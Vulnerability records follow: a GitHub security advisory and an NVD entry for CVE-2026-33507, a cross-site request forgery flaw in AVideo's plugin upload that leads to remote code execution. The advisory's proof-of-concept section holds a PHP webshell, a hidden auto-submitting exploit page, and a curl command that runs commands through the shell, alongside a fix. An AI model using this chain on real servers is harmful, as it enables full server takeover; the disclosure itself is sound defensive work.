{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T21:47:50Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = \u0027None\u0027` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token \u2014 it\u0027s a plain `\u003cform enctype=\"multipart/form-data\"\u003e` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: \u0027no-cors\u0027` and `credentials: \u0027include\u0027` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect \u2014 plugin installation and PHP file extraction to the web-accessible `plugin/` directory \u2014 is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it\u0027s a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file \u2014 passes PluginAbstract validation\ncat \u003e EvilPlugin/EvilPlugin.php \u003c\u003c \u0027PLUG\u0027\n\u003c?php\nclass EvilPlugin extends PluginAbstract {\n    public function getTags() { return array(); }\n    public function getDescription() { return \"test\"; }\n    public function getName() { return \"EvilPlugin\"; }\n    public function getUUID() { return \"evil-0000-0000-0000\"; }\n    public function getPluginVersion() { return \"1.0\"; }\n    public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file \u2014 webshell, NOT checked for PluginAbstract\ncat \u003e EvilPlugin/cmd.php \u003c\u003c \u0027SHELL\u0027\n\u003c?php if(isset($_GET[\u0027c\u0027])) system($_GET[\u0027c\u0027]); ?\u003e\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cscript\u003e\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n    const zipResp = await fetch(\u0027evil-plugin.zip\u0027);\n    const zipBlob = await zipResp.blob();\n\n    const formData = new FormData();\n    formData.append(\u0027input-b1\u0027, zipBlob, \u0027evil-plugin.zip\u0027);\n\n    fetch(\u0027https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php\u0027, {\n        method: \u0027POST\u0027,\n        body: formData,\n        mode: \u0027no-cors\u0027,\n        credentials: \u0027include\u0027\n    });\n}\nexploit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Admin visits attacker\u0027s page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin\u0027s `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl \u0027https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id\u0027\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin\u0027s session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system \u2014 only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST[\u0027globalToken\u0027]) || !verifyToken($_POST[\u0027globalToken\u0027])) {\n    $obj-\u003emsg = \"Invalid CSRF token\";\n    die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n\u003cform enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"hidden\" name=\"globalToken\" value=\"\u003c?php echo getToken(); ?\u003e\"\u003e\n    \u003cinput id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\"\u003e\n\u003c/form\u003e\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$(\u0027#input-b1\u0027).fileinput({\n    uploadUrl: webSiteRootURL + \u0027objects/pluginImport.json.php\u0027,\n    uploadExtraData: { globalToken: $(\u0027input[name=globalToken]\u0027).val() },\n    // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.",
  "id": "GHSA-hv36-p4w4-6vmj",
  "modified": "2026-03-25T20:31:58Z",
  "published": "2026-03-20T21:47:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = \u0027None\u0027` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. Commit d1bc1695edd9ad4468a48cea0df6cd943a2635f3 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, el endpoint `objects/pluginImport.json.php` permite a los usuarios administradores subir e instalar archivos ZIP de plugins que contienen c\u00f3digo PHP ejecutable, pero carece de protecci\u00f3n CSRF. Combinado con la aplicaci\u00f3n que establece expl\u00edcitamente `session.cookie_samesite = \u0027None\u0027` para conexiones HTTPS, un atacante no autenticado puede crear una p\u00e1gina que, cuando es visitada por un administrador autenticado, sube silenciosamente un plugin malicioso que contiene una webshell PHP, logrando la ejecuci\u00f3n remota de c\u00f3digo en el servidor. El commit d1bc1695edd9ad4468a48cea0df6cd943a2635f3 contiene un parche."
    }
  ],
  "id": "CVE-2026-33507",
  "lastModified": "2026-03-24T16:55:37.440",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-23T17:16:51.803",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}